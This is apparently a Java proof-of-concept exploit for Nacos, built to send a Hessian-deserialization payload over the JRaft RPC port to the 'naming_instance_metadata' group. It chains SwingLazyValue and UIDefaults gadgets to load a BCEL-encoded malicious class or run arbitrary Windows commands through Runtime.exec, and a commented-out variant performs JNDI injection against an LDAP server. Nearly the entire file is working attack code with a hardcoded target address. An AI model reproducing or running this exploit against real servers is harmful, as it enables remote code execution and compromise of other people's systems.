import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation;import com.alipay.sofa.jraft.entity.PeerId;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.impl.GrpcClient;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.google.protobuf.*;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import sun.reflect.misc.MethodUtil;import sun.swing.SwingLazyValue;
import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;
public class exp{    public static void main( String[] args ) throws Exception {        String address = "192.168.234.165:7848";        byte[] poc = build();
        //初始化 RPC 服务        CliClientServiceImpl cliClientService = new CliClientServiceImpl();        cliClientService.init(new CliOptions());        PeerId leader = PeerId.parsePeer(address);
        WriteRequest request = WriteRequest.newBuilder()                .setGroup("naming_instance_metadata")                .setData(ByteString.copyFrom(poc))                .build();
        GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();
        //反射添加WriteRequest，不然会抛出异常        Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses");        parserClassesField.setAccessible(true);        Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient);        parserClasses.put(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());        MarshallerHelper.registerRespInstance(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());
        Object res = grpcClient.invokeSync(leader.getEndpoint(), request,5000);        System.out.println(res);    }
    private static byte[] build() throws Exception {
//        执行字节码        JavaClass evil = Repository.lookupClass("calc");
        byte[] code= Files.readAllBytes(Paths.get("D:\\javajdk\\java\\JavaWeb\\com.Collections\\target\\test-classes\\evil.class"));        String payload = "$$BCEL$$" + Utility.encode(code, true);        SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}});        UIDefaults uiDefaults1 = new UIDefaults();        uiDefaults1.put("_", slz);        UIDefaults uiDefaults2 = new UIDefaults();        uiDefaults2.put("_", slz);//        执行jndi注入//        SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://172.17.0.1:1389/Jackson"});////        UIDefaults uiDefaults1 = new UIDefaults();//        UIDefaults uiDefaults2 = new UIDefaults();//        uiDefaults1.put("aaa", swingLazyValue);//        uiDefaults2.put("aaa", swingLazyValue);
        HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);        MetadataOperation metadataOperation = new MetadataOperation();        setFieldValue(metadataOperation,"metadata",hashMap);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();        Hessian2Output oo = new Hessian2Output(baos);        oo.setSerializerFactory(new SerializerFactory());        oo.getSerializerFactory().setAllowNonSerializable(true);        oo.writeObject(metadataOperation);        oo.flush();
        return baos.toByteArray();    }
    public static byte[] build(String cmd) throws Exception {        String[]       command        = {"cmd", "/c", cmd};        java.lang.reflect.Method invoke         = MethodUtil.class.getMethod("invoke", java.lang.reflect.Method.class, Object.class, Object[].class);        Method exec           = Runtime.class.getMethod("exec", String[].class);        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});        //Object value = swingLazyValue.createValue(new UIDefaults());        //        //Method getClassFactoryMethod = SerializerFactory.class.getDeclaredMethod("getClassFactory");        //SwingLazyValue swingLazyValue1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{getClassFactoryMethod, SerializerFactory.createDefault(), new Object[]{}}});        //Object value = swingLazyValue1.createValue(new UIDefaults());        //        //Method allowMethod = ClassFactory.class.getDeclaredMethod("allow", String.class);        //SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{allowMethod, value, new Object[]{"*"}}});        //Object value1 = swingLazyValue2.createValue(new UIDefaults());        //System.out.println(value1);
        UIDefaults u1 = new UIDefaults();        UIDefaults u2 = new UIDefaults();        u1.put("key", swingLazyValue);        u2.put("key", swingLazyValue);        HashMap     hashMap     = new HashMap();        Class       node        = Class.forName("java.util.HashMap$Node");        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);        constructor.setAccessible(true);        Object node1 = constructor.newInstance(0, u1, null, null);        Object node2 = constructor.newInstance(0, u2, null, null);        Field  key   = node.getDeclaredField("key");        key.setAccessible(true);        key.set(node1, u1);        key.set(node2, u2);        Field size = HashMap.class.getDeclaredField("size");        size.setAccessible(true);        size.set(hashMap, 2);        Field table = HashMap.class.getDeclaredField("table");        table.setAccessible(true);        Object arr = Array.newInstance(node, 2);        Array.set(arr, 0, node1);        Array.set(arr, 1, node2);        table.set(hashMap, arr);

        HashMap hashMap1 = new HashMap();        size.set(hashMap1, 2);        table.set(hashMap1, arr);

        HashMap map = new HashMap();        map.put(hashMap, hashMap);        map.put(hashMap1, hashMap1);        MetadataOperation metadataOperation = new MetadataOperation();        setFieldValue(metadataOperation,"metadata",hashMap);        ByteArrayOutputStream baos   = new ByteArrayOutputStream();        Hessian2Output        output = new Hessian2Output(baos);        output.getSerializerFactory().setAllowNonSerializable(true);        output.writeObject(metadataOperation);        output.flushBuffer();
        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));        SerializerFactory.createDefault().getClassFactory().allow("*");//        hessian2Input.readObject();
        return baos.toByteArray();    }    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {        HashMap<Object, Object> s = new HashMap<>();        setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        } catch (ClassNotFoundException e) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        setFieldValue(s, "table", tbl);        return s;    }    public static void setFieldValue(Object obj, String name, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }}